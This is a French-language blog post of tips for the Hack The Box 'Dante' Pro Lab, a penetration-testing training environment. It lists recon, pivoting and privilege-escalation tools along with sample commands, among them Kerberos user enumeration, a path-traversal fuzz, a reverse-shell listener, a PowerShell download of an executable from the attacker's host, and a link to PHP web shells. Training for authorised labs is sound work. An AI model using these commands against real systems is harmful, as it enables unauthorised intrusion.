Dante Pro Lab. – DANTE{tRuCs_&_@stuc3s}
Introduction
Un nouvel article sur la plateforme « Hack The Box » que j’affectionne tout particulièrement 🙂
J’ai profité des soldes de Noël dernier pour souscrire à un abonnement « Pro Lab. » et éviter de payer les frais d’installation. Le coût mensuel était 23 euros TTC « uniquement », et seulement deux mois d’abonnement pour compléter le Lab. « Dante« .
Sans prétention, cet article a pour but de guider un peu celles et ceux qui veulent se lancer dans l’aventure ou qui ont déjà commencé. Attention : Il ne s’agit pas d’un guide complet avec chacune des étapes, tous les drapeaux à découvrir, toutes les techniques etc… plutôt quelques conseils, des outils à utiliser, sur ma méthodologie etc…
Choix du Lab. Pro « Dante »
Sur https://app.hackthebox.com/ j’ai pu atteindre modestement le rang « Pro Hacker » avec une soixantaine de machines à mon actif depuis juin 2019. En majorité des VM de niveau « facile » et « intermédiaire » (3/4) sur Linux et Windows + quelques machines difficiles et challenges.
J’avais d’abord pensé à me présenter pour l’examen OSCP pendant un temps. Mais avec sa durée de 24 heures, je ne veux pas me lancer sans une bonne préparation car cela semble assez intense. Et j’aime bien réussir mes examens du premier coup.
Je voulais donc d’abord m’exercer sur un « vrai » Lab. représentatif de ce qui pourrait m’attendre et sans devoir payer trop cher pour cela. Mon but était de le faire en 2 mois à temps perdu, objectif atteint.
En comparant les différents Lab. proposés sur le site et en parcourant les forum, je me suis dit que Dante serait une bonne porte d’entrée. Et surtout un excellent terrain pour pratiquer sans se ruiner et abordable techniquement, je ne me suis pas trompé.
Présentation du Lab.
Dante comporte réellement 13 machines (le pare-feu est hors scope) : 7 VM Linux et 6 VM Windows.
Il est classé comme « intermédiaire » au niveau de la difficulté, j’estime que cela correspond effectivement : connaissance réseautique, diversités des plateformes/systèmes, technologies et outils variées etc…
Jusqu’à quatre tunnels seront nécessaires pour atteindre l’ensemble des machines. Autant vous dire que l’art du « pivot » ou déplacement latéral prend tout son sens ici !
Le Lab. est réinitialisé automatiquement tous les jours vers 07h00 (UTC) du matin.
Un point important : gardez à l’esprit que vous ne serez pas tout seul dans le Lab. Ce qui implique que des « petits malins » peuvent effacer des données ou les modifier (très rare tout de même, une seule fois dans mon cas en deux mois, sur un drapeau). Mais surtout, vous ne serez pas seul à lancer des scans à tout va, ce qui parfois rend instable le Lab. Il faut savoir prendre une pause quand cela n’aboutit pas et se poser les bonnes questions, un tunnel peut être défaillant sur le chemin, ou bien ICMP est bloqué par un pare-feu etc…
Outils utilisés
OS
Au niveau de l’OS j’ai utilisé kali-linux-2023-W03-vmware-amd64 via VMware Workstation 17 Player. Très stable durant toute mon utilisation et déjà bien fourni en termes d’outils. J’ai pu faire 100% du Lab. avec.
Scan / découverte réseau
j’ai utilisé mon propre outil au départ : MassVulScan
Sinon, le classique Nmap fera des merveilles. Pensez à utiliser les scripts pour la recherche de vulnérabilité ou faire de l’énumération d’utilisateurs par exemple :
nmap -p88 -Pn --script krb5-enum-users --script-args krb5-enum-users.realm='"DOMAIN.ADM"',userdb="'/home/kali/HTB/ProLabs/Dante/all_users.txt'" 10.10.2.5
nmap -Pn -p445 --script smb-vuln-* SERVER-DC03
J’utilise toujours l’option « -Pn » histoire de ne rien rater. Et toujours un seul host à la fois.
Pour UDP (moins pertinent pour ce Lab.), vous avez ce script Perl : udp-proto-scanner
perl udp-proto-scanner/udp-proto-scanner.pl 10.10.2.0/24
Pour la découverte réseau, vous avez aussi nbtscan qui est fort utile pour obtenir des informations NetBIOS sur un environnement Windows :
nbtscan -l 10.10.1.0/24
Et n’oubliez pas les entrées ARP aussi :
arp -na
arp -a
Ou carrément arp-scan mais cela nécessite « un peu » de compilation :
arp-scan -l
Quand le ping passait j’utilisais fping pour scanner un sous-réseau complet :
fping -a -g -s -q 10.10.2.0/24
Pivoting / Tunneling
Deux outils essentiels à connaître : SSHUTTLE et LIGOLO-NG
Oubliez tout le reste, sincèrement. Dans mon cas, j’utilisais SSHUTTLE en premier puis LIGOLO-NG pour les autres tunnels (stabilité, performance) :
SSHUTTLE :
sudo SSH_AUTH_SOCK="$SSH_AUTH_SOCK" sshuttle --method=tproxy --disable-ipv6 --exclude 10.10.10.3 -e "ssh -i id_rsa_root" -r root@10.10.10.3 10.10.1.0/24
LIGOLO-NG :
sudo ./proxy -selfcert
./agent(.exe) -connect 10.10.14.209:11601 -ignore-cert
Une fois l’agent connecté, il faut lister les sessions (session + [ENTER]) depuis Kali, sélectionner celle que l’on veut activer (choisir le numéro ou utiliser les flèches de direction + [ENTER]) et la démarrer (start + [ENTER]). Sans cela, pas de routage possible. Et il sera nécessaire de « switcher » les tunnels pour atteindre les autres réseaux après les premiers pivots (répondre « yes« ).
Comme indiqué lors de la présentation, les connexions ou tunnels ne sont pas toujours stables et parfois ICMP était bloqué. Du coup, j’avais une fenêtre qui était ouverte en permanence vers le host que j’attaquais sur le port concerné, ou vers un agent, avec un check en continue, comme ceci :
Voici le script si cela vous intéresse, je m’en sers d’ailleurs régulièrement, fort utile :
#!/bin/bash
host=$1
port=$2
bold_color="\033[1m"
end_color="\033[0m"
if [ -z $host ] || [ -z $port ]; then
echo -e "${bold_color}Usage: `basename $0` [HOST] [PORT] (only compatible with TCP)${end_color}"
exit 1
fi
while :; do
result=`nc -z -v -w 1 $host $port > /dev/null 2>&1`
if [ $? -gt 0 ]; then
echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;31mclosed or down\033[0m for host $host"
sleep 0.5
else
echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;32mopen\033[0m for host $host"
sleep 0.5
fi
done
Buffer Overflow (BOF)
L’outil GDB-PEDA était suffisant, par contre j’ai dû l’installer à partir du dépôt GitHub : https://github.com/longld/peda
En effet, je voulais pouvoir travailler confortablement depuis ma VM Kali sans avoir de déconnexions intempestives. Il faut juste arriver à se mettre dans les mêmes conditions que le serveur à attaquer.
Surveillance des processus
Là aussi, un seul outil que je recommande (Linux) : pspy
Il suffit de le lancer et d’attendre un peu.
Recherche de vulnérabilités
Depuis un serveur Windows ou Linux j’ai utilisé le même outil : https://github.com/carlospolop/PEASS-ng
Sinon, vous avez la base de données exploit-DB et leur outil searchsploit :
searchsploit MS17-010
searchsploit -m 41891
Metasploit
L’incontournable, même si je voulais limiter son utilisation, il m’a été utile plusieurs fois (tester des couples « utilisateurs/mots de passe », obtenir un Shell avec privilèges etc…) : https://www.kali.org/tools/metasploit-framework/
Gardez en tête qu’il est parfois utile de changer de contexte de processus pour aller plus loin.
Shell / Reverse Shell
Une seule source très complète sur les possibilités : https://gtfobins.github.io/
Dans le cas du Reverse Shell, je vous conseille d’utiliser ce que l’on appelle un « wrapper » associé à Netcat pour plus de confort côté Kali. Par exemple : rlwrap
rlwrap nc -nlvp 1337
Exemple de Shell PHP minimaliste sinon : https://github.com/backdoorhub/shell-backdoor-list/blob/master/shell/php/mini.php
Et une version compilé Windows de Netcat : https://github.com/cyberisltd/NcatPortable
Windows
Deux outils à connaître, de véritables « couteaux suisses« , pour s’attaquer à un serveur Windows : CrackMapExec et Impacket
Que ce soit pour faire de l’énumération (version d’OS un serveur, version SMB, brute-force/password spraying, hashdump etc…) ou tout simplement pour réaliser une attaque (Kerberos, SQL etc…). Tout y est.
Répertoires et fichiers d’un serveur Web
Pour l’énumération ou la recherche de fichiers/répertoires, deux outils suivant ce que l’on cherche : Wfuzz et Feroxbuster
Idem, limiter le nombre de threads en parallèle.
wfuzz -c -w /home/kali/HTB/ProLabs/Dante/list.txt --hw 0 'http://10.10.1.10/page1.php?page=../../../../../../../../var/www/html/website/FUZZ'
feroxbuster --url https://www.monsite.com --extract-links --insecure --redirects --wordlist /home/kali/HTB/ProLabs/Dante/list.txt -t 2 --dont-scan https://www.monsite.com/
Mots de passe
Il n’est pas toujours utilise de chercher à casser des mots de passe avec John ou Hashcat, il a d’autres façons de s’en servir.
Et il est rarement nécessaire de faire du brute-force avec de grosses listes pour trouver un mot de passe, et surtout, ne pas trop forcer (nombre de threads simultanés etc…) au risque de passer à côté.
Pour générer sa propre liste de mots avec CeWL par exemple :
cewl -d 2 -m 5 -w words.txt http://10.10.110.3:15000/website/
Copie de fichiers
Suivant l’environnement (Windows ou Linux) vous serez amener à déposer ou transférer des fichiers ou scripts.
Quelques commandes utiles :
python3 -m http.server 80
scp -i id_rsa_bobylapointe script.sh bobylapointe@10.10.2.6:/tmp
*Evil-WinRM PS C:\temp> upload /home/kali/HTB/ProLabs/Dante/script.exe
powershell IWR http://10.10.14.15/script.exe -OutFile script.exe
Articles ou sites
Quelques articles utiles en vrac :
https://ovelny.sh/blog/easy-tunneling-with-sshuttle/
https://kentosec.com/2022/01/13/pivoting-through-internal-networks-with-sshuttle-and-ligolo-ng/
https://blog.yikuo.dev/2020/01/08/GCI2019-BufferOverflow/
https://www.w3schools.com/tags/ref_urlencode.ASP
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Discord
Pour être honnête, je n’ai pu compléter ce Lab. seul qu’à hauteur de 90-95%. Mais les 5-10% restants c’était grâce à la communauté Discord du canal officiel Hack The Box (#prolabs-dante).
PwnKit (CVE-2021-4034)
Une note sur ce CVE : vous verrez cette faille apparaître régulièrement lorsque vous lancerez vos scripts de détection de vulnérabilités. Ne cédez pas à la tentation ! En effet, ce Lab. a été construit en 2020 donc avant sa découverte.
Je vous confirme que cela fonctionne mais testez cette faille une fois le chemin attendu identifié. Même si dans la « vrai vie » un « malotru » ne se gênerait pas et irait au plus efficace, c’est sûr !
Conclusion
Sachez prendre des pauses, je suis parfois resté 2-3 jours bloqués alors que j’avais la réponse sous les yeux. On dit souvent que l’étape d’énumération est l’une des plus importantes, et bien je vous le confirme. Et ne pas aller trop vite, je passais à côté d’un détail qui avait son importance à chaque fois.
Persévérez, faites le maximum avant de céder à la tentation de demander de l’aide. Dans mon cas, je n’ai pas eu le choix pour la partie Buffer Overflow (BOF), c’était une découverte pour moi et je me suis trouvé noyé dans des tas d’articles avant d’avoir les bons.
Pour ce Lab. inutile d’imaginer des attaques complexes. Cela reste un Lab. accessible n’oubliez pas, qui vous permet de tester différents outils, rien d’insurmontable.
Et une dernière chose, n’oubliez pas de tout explorer (codes sources, historique, fichiers cachés etc…), même une fois le serveur compromis durant votre phase d’énumération. Il faut avoir en « tête » une liste type des choses à vérifier systématiquement sur chacune des VM pour ne rien rater.
Voilà, merci pour votre lecture et bon courage ! Et si besoin d’aide, je suis sur Discord ou via ce site.